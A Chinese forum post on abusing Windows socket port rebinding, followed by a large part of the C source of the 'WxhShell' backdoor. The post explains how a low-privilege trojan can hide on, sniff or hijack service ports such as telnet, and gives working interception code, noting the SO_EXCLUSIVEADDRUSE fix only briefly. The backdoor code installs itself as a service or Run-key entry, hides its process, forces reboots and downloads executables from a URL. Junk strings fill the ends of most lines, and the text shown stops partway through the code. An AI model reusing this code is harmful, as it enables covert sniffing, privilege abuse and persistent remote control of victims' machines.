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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?!'Zf Q:zK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ba@ctkCW  
%IY``r)j  
  saddr.sin_family = AF_INET; [{ ~TcT  
t9cl"F=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =0    
~ G6"3"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .i Hn5SGA  
'hqBo|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u0Nm.--;_3  
Wl- <HR!n  
  这意味着什么?意味着可以进行如下的攻击: !EIjN  
1P(&J  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U;q];e:,=}  
~xLJe`"JUx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %$5H!!~o  
r] Lc9dL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~Z'w)!h  
#oni:]E!m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {Ui =b+  
eq4C+&O&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Wwujh2g"0|  
>znRyQ~bM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -E4XIn  
]#2Y e7+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 alq%H}FF  
vVl; |  
  #include tmUFT  
  #include kwpK1R4zs  
  #include OEx^3z^  
  #include    hC <O`|lF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v <Kmq-b  
  int main() U}k9 Py  
  { =#gEB#$x:  
  WORD wVersionRequested; wU\s; dK  
  DWORD ret; NMOut@  
  WSADATA wsaData; QPt Gdd  
  BOOL val; \>QF(J [8  
  SOCKADDR_IN saddr; c%m3}mrb  
  SOCKADDR_IN scaddr; U.!lTLjfLz  
  int err; re?s.djT  
  SOCKET s; ~{,X3-S_H  
  SOCKET sc; ig}A9j?]  
  int caddsize; \p{5D`HY  
  HANDLE mt; \*f;Xaa  
  DWORD tid;   e [_m< e  
  wVersionRequested = MAKEWORD( 2, 2 ); qMt++*Ls  
  err = WSAStartup( wVersionRequested, &wsaData ); E.|-?xQ6  
  if ( err != 0 ) { YH&bD16c3  
  printf("error!WSAStartup failed!\n"); c(;a=n(E#  
  return -1; DwHF[]v'  
  } 3psU?8(  
  saddr.sin_family = AF_INET; a2Pf/D]n  
   U-/{0zB  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L@`ouQ"sa  
:0 & X^]\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); QTX8 L  
  saddr.sin_port = htons(23); Sf5X3,Uw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1$qh`<\  
  { Tou/5?# %e  
  printf("error!socket failed!\n"); o*U]v   
  return -1; >{\7&}gz  
  } J]f3CU,<N  
  val = TRUE; e@:sR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _4^R9Bt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l2N]a9bq@  
  { iY"l}.7)  
  printf("error!setsockopt failed!\n"); \%^%wXfp  
  return -1; ]BR,M4   
  } U!U$x74D5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sBrI}[oyx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {ZY+L;eg1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P) 3mX.(}  
.`>y@p!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) J{^RkGF  
  { E4 m`  
  ret=GetLastError(); ,|&9M^  
  printf("error!bind failed!\n"); ( =~&+z  
  return -1; Xd^\@  
  } .{y uo{u  
  listen(s,2); KM^ufF2[  
  while(1) y~()|L[  
  { ")=X4]D  
  caddsize = sizeof(scaddr); P#=`2a#G  
  //接受连接请求 RV@*c4KvO+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lz1 wO5%h  
  if(sc!=INVALID_SOCKET) "*G.EiLq  
  { mZd , 9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Kq i4hK  
  if(mt==NULL) (}}S9 K  
  { =s<( P1|"  
  printf("Thread Creat Failed!\n"); Yw#2uh  
  break; tHzZ@72B7  
  } ,}K<*t[I  
  } [jmd  
  CloseHandle(mt); !.d@L6  
  } 9k{PBAP  
  closesocket(s); b0oMs=uBn  
  WSACleanup(); -[-wkC8a  
  return 0; B(M6@1m_  
  }   ..rOsg{  
  DWORD WINAPI ClientThread(LPVOID lpParam) "~'b  
  { n=[/Z!  
  SOCKET ss = (SOCKET)lpParam; Yk=PS[f  
  SOCKET sc; "I(xgx*  
  unsigned char buf[4096]; >,td(= :  
  SOCKADDR_IN saddr; hdrm!aBd  
  long num; hP15qKy  
  DWORD val; e=.]F*:J  
  DWORD ret; ght$9>'n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VNY%R,6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <>Hj ;q5p  
  saddr.sin_family = AF_INET; K5lmVF\$P  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); EY tQw(!Q  
  saddr.sin_port = htons(23); f k&8]tK4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1')%`~  
  { t<#h$}=:Vt  
  printf("error!socket failed!\n"); b9!FC$^J  
  return -1; 6Oy$gW)  
  } )rC6*eR  
  val = 100; <)3u6Vky9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I1X-s  
  { EKO[!,  
  ret = GetLastError(); 13>0OKg`#  
  return -1; UeRj< \"Q  
  } D|{jR~J)xK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ga`3 (  
  { J@u;H$@/y  
  ret = GetLastError(); /{&tY: ;m  
  return -1; bD?VU<)3  
  } R~PA 1wDZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .hifsB~  
  { Om5Y|v"*  
  printf("error!socket connect failed!\n"); c I4K+  
  closesocket(sc); w 47tgPPk  
  closesocket(ss); `G}TG(  
  return -1; (=om,g}  
  } _WRFsDZ'  
  while(1) 3eF -8Z(f  
  { sc}~8T  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <_-hRbS  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~Yy>zUH^X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X"fb;sGT  
  num = recv(ss,buf,4096,0); ojan Bg   
  if(num>0) Ys\Wj%6A  
  send(sc,buf,num,0); Rx}$0c0  
  else if(num==0) '!eKTC>  
  break; ~GZY5HF  
  num = recv(sc,buf,4096,0); ):[7E(F=  
  if(num>0) rp ;b" q  
  send(ss,buf,num,0); }F#okU  
  else if(num==0) i uF*.hc,%  
  break; IhVO@KJI  
  } y#3j`. $3p  
  closesocket(ss); ?k(7 LX0j  
  closesocket(sc); `)_dS&_\  
  return 0 ; r2,.abo  
  } TOB]IrW  
{A05u3}  
;5659!;  
========================================================== .N ,3 od@  
gMzcTmbc8  
下边附上一个代码,,WXhSHELL zdYy^8V|z  
=\H!GT  
==========================================================  PoxK{Y  
^rifRY-,yO  
#include "stdafx.h" !:q/Ye3.  
,X`)ct  
#include <stdio.h> sTn<#l6  
#include <string.h> hHV";bk  
#include <windows.h> e,W%uH>X  
#include <winsock2.h> hpO`]  
#include <winsvc.h> [PNT\ElT  
#include <urlmon.h> ~f$|HP}  
SAy=WV  
#pragma comment (lib, "Ws2_32.lib") AP'*Nh@Ik(  
#pragma comment (lib, "urlmon.lib") I|^;B 8[  
{y=j?lD  
#define MAX_USER   100 // 最大客户端连接数 K/IWH[  
#define BUF_SOCK   200 // sock buffer wk5s)%V  
#define KEY_BUFF   255 // 输入 buffer 9_Be0xgJ3^  
E2R&[Q"%  
#define REBOOT     0   // 重启 < t,zaIi  
#define SHUTDOWN   1   // 关机 l1BtI_7p  
 W\d{a(*  
#define DEF_PORT   5000 // 监听端口 =T HpdtL  
fSK]|"c  
#define REG_LEN     16   // 注册表键长度 ,(EO'T[  
#define SVC_LEN     80   // NT服务名长度 um!J]N^  
Rh_np  
// 从dll定义API n\*!CXc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |)(VsVG&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E&2OD [iX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X=5xh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u)}$~E>  
CDQW !XHc  
// wxhshell配置信息 =8AO:  
struct WSCFG { K,+LG7ec  
  int ws_port;         // 监听端口 n"G&ENN"$  
  char ws_passstr[REG_LEN]; // 口令 }`% *W`9b  
  int ws_autoins;       // 安装标记, 1=yes 0=no RtTJ5@V(  
  char ws_regname[REG_LEN]; // 注册表键名 |$8~?7Jv  
  char ws_svcname[REG_LEN]; // 服务名 =P't(<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  zv0l,-o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Yc_8r+;(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TaKLzd2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PgtJ3oq [}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1w@(5 ^V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TN+iA~kQ  
42G)~lun-d  
}; kMi/>gpQ  
e2s]{obf  
// default Wxhshell configuration HK,cJah q  
struct WSCFG wscfg={DEF_PORT, }wr{W:j  
    "xuhuanlingzhe", X' H[7 ^W  
    1, mF*2#]%dx  
    "Wxhshell", 0D\#Pq v  
    "Wxhshell", }X)&zenz  
            "WxhShell Service", ,':fu  
    "Wrsky Windows CmdShell Service",  P5a4ze  
    "Please Input Your Password: ", Mo?~_|}  
  1, 8m2Tk\;:  
  "http://www.wrsky.com/wxhshell.exe", *|%@6I(  
  "Wxhshell.exe" =,spvy'"*C  
    }; nAW:utTB  
%b&". mN  
// 消息定义模块 p>RNPrT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ta ?_5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }vxw*8d?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~zCEpU|@N  
char *msg_ws_ext="\n\rExit."; -JMdE_h  
char *msg_ws_end="\n\rQuit."; {XR6>]  
char *msg_ws_boot="\n\rReboot..."; *H"B _3<n  
char *msg_ws_poff="\n\rShutdown..."; -]/I73!b  
char *msg_ws_down="\n\rSave to "; #lmB AL~3  
t<#mP@Mz=N  
char *msg_ws_err="\n\rErr!"; UQ)W%Y;[0  
char *msg_ws_ok="\n\rOK!"; 4|buk]9  
>7lx=T x  
char ExeFile[MAX_PATH]; 60P#,o@G  
int nUser = 0; ]R h#g5X  
HANDLE handles[MAX_USER]; zMbN;tu  
int OsIsNt; i UCXAWP  
D!{Y$;  
SERVICE_STATUS       serviceStatus; "& ])lz[u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CR8/Ke  
1"zDin!A  
// 函数声明 ML w7}[  
int Install(void); 0 HGM4[)=  
int Uninstall(void); R.jIl@p   
int DownloadFile(char *sURL, SOCKET wsh); sF!($k;!  
int Boot(int flag); fd +hA  
void HideProc(void); UK595n;P  
int GetOsVer(void); _ "?.!  
int Wxhshell(SOCKET wsl); 6G1@smP  
void TalkWithClient(void *cs); v\KA'PmiP  
int CmdShell(SOCKET sock); .AR#&mL9  
int StartFromService(void); d4u})  
int StartWxhshell(LPSTR lpCmdLine); t2/#&J]  
6IBgt!=,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Yw4n-0g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $7O}S.x  
t[ubn+  
// 数据结构和表定义 QS%%^+E2  
SERVICE_TABLE_ENTRY DispatchTable[] = HJLu'KY }  
{ M2PAy! J  
{wscfg.ws_svcname, NTServiceMain}, `NCwK6/i  
{NULL, NULL} od IV:(  
}; d/PiiiFf,  
x'+T/zw  
// 自我安装 |jI#"LbF  
int Install(void) xf<at->  
{ Bc+w+  
  char svExeFile[MAX_PATH]; WKC.$[ T=  
  HKEY key; ve MH  
  strcpy(svExeFile,ExeFile);  f\]sz?KY  
"@%7-nu  
// 如果是win9x系统,修改注册表设为自启动 0H6(EzN  
if(!OsIsNt) { i!J8 d"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S=5<^o^h3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %-)H^i~]%  
  RegCloseKey(key); Li!Vx1p;u.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  3,p]/Z_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rn}l6kbM  
  RegCloseKey(key); gp5_Z-me  
  return 0; *,e:]!*  
    } ]JCvyz H  
  } zz+$=(T:M  
} KC/=TSSXd.  
else { -m)X]]~C  
pOGeru u?  
// 如果是NT以上系统,安装为系统服务 v=0(~<7B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GR&z,  
if (schSCManager!=0) .:@Ykdm4I  
{ fKeT,U`W  
  SC_HANDLE schService = CreateService GGNvu )"  
  ( BzkooJ  
  schSCManager,  3L< wQ(  
  wscfg.ws_svcname, 7op`s5i  
  wscfg.ws_svcdisp, &+cEV6vb+  
  SERVICE_ALL_ACCESS, iIMd!Q.)@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~D<IB#C  
  SERVICE_AUTO_START, D&od?3}E  
  SERVICE_ERROR_NORMAL, "U e. @>  
  svExeFile, Mmxlp .l  
  NULL, 5*+!+V^?X  
  NULL, (zgW%{V@  
  NULL, 0xxg|;h.,g  
  NULL, d6'{rje(  
  NULL @OV|]u  
  ); *AG#316  
  if (schService!=0) <oR a3Gi(%  
  { k[bD\'  
  CloseServiceHandle(schService); @JtM5qB  
  CloseServiceHandle(schSCManager); JW{rA6?   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q)Lu_6 mg  
  strcat(svExeFile,wscfg.ws_svcname); q"%_tS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5>CEl2mSl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zDw5]*R  
  RegCloseKey(key); 24E}<N,g  
  return 0; /JFUU[W  
    } + ,%&e  
  } \SN&G `o<  
  CloseServiceHandle(schSCManager); ZjgsR|i  
} I%r{]-Obr-  
} JG" R\2  
ey2S#%DF]  
return 1; $CY~5A`l9  
} @aAW*D~-J  
|%J{RA  
// 自我卸载 4[.oPK=i  
int Uninstall(void) 4[;X{ !  
{ F<L EQ7T  
  HKEY key; :e_V7t)o  
d@ i}-;  
if(!OsIsNt) { ?\vh9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'm4W}F  
  RegDeleteValue(key,wscfg.ws_regname); Hw7;;HK 7  
  RegCloseKey(key); B P2=2)Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ka[t75~;  
  RegDeleteValue(key,wscfg.ws_regname); QIB\AAclO  
  RegCloseKey(key); ]QpWih00V  
  return 0; I/&%]"[^u  
  } E8pB;\Z(  
} 6{"$nF]  
} "/3 db[  
else { v K9E   
] Bcp;D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E;Y;z  
if (schSCManager!=0) M!/Cknm  
{ ]!I7Y.w6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); { vKLAxc  
  if (schService!=0) n&"B0ycF  
  { P,xKZ{(  
  if(DeleteService(schService)!=0) { +_; l|uhT;  
  CloseServiceHandle(schService); 8.XoVW#  
  CloseServiceHandle(schSCManager); X.Rb-@  
  return 0; /JHc!D  
  } J&M o%"[)  
  CloseServiceHandle(schService); 7[> 6i  
  } b\3Oyp>  
  CloseServiceHandle(schSCManager); ?98("T|y;  
} ~rDZ?~%  
} t; 4]cg:_  
?)kGA$m#  
return 1; {4G%:09~J  
} =h0,?]z  
<~6h|F8  
// 从指定url下载文件 cl]Mi "3_  
int DownloadFile(char *sURL, SOCKET wsh) [U5\bX@$  
{ kS_(wp A  
  HRESULT hr; `Gn50-@  
char seps[]= "/"; s$cK(S#  
char *token; b6U2GDm\s  
char *file; Y&S24aql  
char myURL[MAX_PATH]; *1v[kWa?  
char myFILE[MAX_PATH]; q=%RDG+  
9;r)#3Q[^  
strcpy(myURL,sURL); [P&7i57  
  token=strtok(myURL,seps); mS^tX i5hg  
  while(token!=NULL) KVT-P};jy*  
  { A/u)# ^\  
    file=token; zG ^$"f2  
  token=strtok(NULL,seps); P(H8[,  
  } PcA2/!a  
*~t6(v?  
GetCurrentDirectory(MAX_PATH,myFILE); v.pBX<  
strcat(myFILE, "\\"); tn Pv70m  
strcat(myFILE, file); j6Yy6X]  
  send(wsh,myFILE,strlen(myFILE),0); K POa|$  
send(wsh,"...",3,0); SZ,YS 4M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |y0(Q V  
  if(hr==S_OK) CDP U\ZG  
return 0; { OXFN;2  
else ,q}ML TS i  
return 1; H@q?v+2  
U*22h` S  
} w8MG(Lq1"  
@JD;k>  
// 系统电源模块 QR%mj*@Wle  
int Boot(int flag) 2w["aVr =  
{ $wo?!gt  
  HANDLE hToken; }T&iewk  
  TOKEN_PRIVILEGES tkp; ~8GFQ ph  
XZ^^%*ew  
  if(OsIsNt) { {ys=Ndo8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {u#;?u=|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +kzo*zW$L  
    tkp.PrivilegeCount = 1; j@SQ~AS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $npT[~U5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -_1>C\h"  
if(flag==REBOOT) { 8=NM|i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gj*+\3KO@a  
  return 0; j!U-'zJ  
} Dpl A?  
else { 5]AC*2(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #vti+A~n,4  
  return 0; %= fHu+  
} ] Hztb  
  } L*&p !  
  else { :I+Gu*0WD  
if(flag==REBOOT) { xa<UM5eI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IOqwCD[  
  return 0; uI1 q>[  
} XCU7x i$d  
else { w8U&ls1b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9s6U}a'c  
  return 0; ;[M}MFc/`  
} 9f&C  
} >pp5;h8!  
"nw;NIp!  
return 1; b[o"7^H  
} OmIg<v 0\;  
DXJ`oh  
// win9x进程隐藏模块 ll`>FcQ  
void HideProc(void) uBNn6j  
{ TU:7Df  
^eo|P~w g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 59"UL\3  
  if ( hKernel != NULL )  ?zw|kl  
  { X voo=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vgfcCcZ_iZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D-5VC9{  
    FreeLibrary(hKernel); #a'Ex=%rM  
  } v(ZYS']d2  
tjdaaN#,V  
return; L?WFm n  
} gG*X^Uo  
$5ak_@AC  
// 获取操作系统版本 P)Rh=U  
int GetOsVer(void) ;C3US)j  
{ - jb0o/:  
  OSVERSIONINFO winfo; CGY]r.O*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]G5 w6&d  
  GetVersionEx(&winfo);  %oZ6l*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 925|bX6I  
  return 1; }BZ"S-hZ  
  else KKiE@_z  
  return 0; E4|jOz^j4\  
} w5Ay)lz  
BD_Iz A<wK  
// 客户端句柄模块 ]n_ k`  
int Wxhshell(SOCKET wsl) GO` Ru 8  
{ >8WP0 Qx/  
  SOCKET wsh; ]:4*L  
  struct sockaddr_in client; IC1NKn<k  
  DWORD myID;  @~!wDDS  
8FKXSqhVM  
  while(nUser<MAX_USER) 5=v}W:^v.  
{ RS)tO0  
  int nSize=sizeof(client); $~VRza 8Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K 1 a\b"  
  if(wsh==INVALID_SOCKET) return 1; 1IC~e^"  
5ni~Q 9b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T 6)bD&  
if(handles[nUser]==0) 6p?,(  
  closesocket(wsh); .1KhBgy^K  
else d1AioQ9  
  nUser++; oSy yd  
  } YwDbPX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ADDSCY=,  
++6`sMJ  
  return 0; MZSy6v  
} zsX1QN16  
Z>)Bp /-  
// 关闭 socket nExU#/*~^  
void CloseIt(SOCKET wsh) wO'T BP  
{ YH vLGc%  
closesocket(wsh); ^p[rc@+  
nUser--; :S<f?* }:  
ExitThread(0); gl\\+VyU  
} V@zg}C|e  
i BF|&h(\  
// 客户端请求句柄 OSs&r$  
void TalkWithClient(void *cs) :Av#j@#  
{ 7"sD5N/>uh  
X-6de>=   
  SOCKET wsh=(SOCKET)cs; $c 0h. t  
  char pwd[SVC_LEN]; e+~\+:[?  
  char cmd[KEY_BUFF]; ,]46I.]  
char chr[1]; _F>CBG  
int i,j; \fG#7_wt  
=]6%G7T  
  while (nUser < MAX_USER) { dIN$)?aB0  
{1 UQ/_  
if(wscfg.ws_passstr) { F5P[dp-`1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -w9pwB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q.l}NtHwV  
  //ZeroMemory(pwd,KEY_BUFF); uJzG|$;  
      i=0; ,K)_OVB  
  while(i<SVC_LEN) { h"X;3b^ m  
&,zq%;-f  
  // 设置超时 |bTPtrT8  
  fd_set FdRead; ,{M^-3C  
  struct timeval TimeOut; |TS>h wkI  
  FD_ZERO(&FdRead); '[AlhBX  
  FD_SET(wsh,&FdRead); w>pq+og&  
  TimeOut.tv_sec=8; ED=V8';D  
  TimeOut.tv_usec=0; XGYbnZ~   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RL!Oi|8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9s\A\$("l  
}>>1<P<8-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'u*D A|HC  
  pwd=chr[0]; ,:%CB"J  
  if(chr[0]==0xd || chr[0]==0xa) { [pbo4e,4O  
  pwd=0; PVe xa|aaX  
  break; @.$|w>>T  
  } 1eS&&J5  
  i++; IpYM;tYw&  
    } pMw*9s X  
Q6PHpaj  
  // 如果是非法用户,关闭 socket 4!Fo$9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NjVYLn<.r  
} FHj" nB  
ur)9x^y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }AB, 8n`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4ezEW|S  
_ TiuY  
while(1) { r)y=lAyF>  
6wBx;y |  
  ZeroMemory(cmd,KEY_BUFF); cqQ#p2<%  
o_XflzC  
      // 自动支持客户端 telnet标准   .c8g:WB<  
  j=0; Q_"]+i]s@  
  while(j<KEY_BUFF) { ck: T,F{}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [%q@]\U$s  
  cmd[j]=chr[0]; dq(uVW^&ae  
  if(chr[0]==0xa || chr[0]==0xd) { n6wV.?8  
  cmd[j]=0; \y97W&AN  
  break; gH12[Us'`  
  } /s x@$cvW  
  j++; JZ)RGSG i  
    } ,]|#[8  
j'Gt&\4  
  // 下载文件 PQy4{0 _  
  if(strstr(cmd,"http://")) { -.1y(k^4E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '*K:  lx  
  if(DownloadFile(cmd,wsh)) Bal$+S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GzhYY"iif#  
  else J?V?R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ``,fodA8  
  } r(:5kC8K  
  else { wo4;n9@I  
h{%nC>m;  
    switch(cmd[0]) { e^8 O_VB  
  c23oCfB>  
  // 帮助 um jt]Gu[  
  case '?': { }q_<_lQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2M.fLQ?  
    break; Kz~ps 5  
  } j]{_s"O  
  // 安装 :*I# n  
  case 'i': { Y\D!/T  
    if(Install()) 6V$Avg\6\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N(; 1o.~  
    else ,vr? 2k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HJ9Kz^TnC  
    break; t_o['F  
    } _dqzB$JV  
  // 卸载 ~5NXd)2+Ks  
  case 'r': { Zq^At+8+  
    if(Uninstall()) x3hB5p$q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .!Oo|m`V@  
    else R cAwrsd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h?AS{`.1  
    break; DVG(V w  
    } N:S/SZI  
  // 显示 wxhshell 所在路径 ^NRl//  
  case 'p': { M\o9I  
    char svExeFile[MAX_PATH]; ZT'`hK_up  
    strcpy(svExeFile,"\n\r"); M||+qd W!  
      strcat(svExeFile,ExeFile); *{YlN}vA  
        send(wsh,svExeFile,strlen(svExeFile),0); T/b6f;t-s  
    break; 6"wlg!k8  
    } /z4$gb7Y  
  // 重启 WYHQ?  
  case 'b': { I5`4Al  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L5Ebc#  
    if(Boot(REBOOT)) ? E1<!~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7S-ys+  
    else { MDnKX?Y  
    closesocket(wsh); v_<rNc,z-s  
    ExitThread(0); 6^V=?~a&z  
    } pM+ AjPr  
    break; !<j'Ea  
    } |nc@"OJ  
  // 关机 %>yG+Od5Z  
  case 'd': {  w^?>e;/\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /$ w%Q-p  
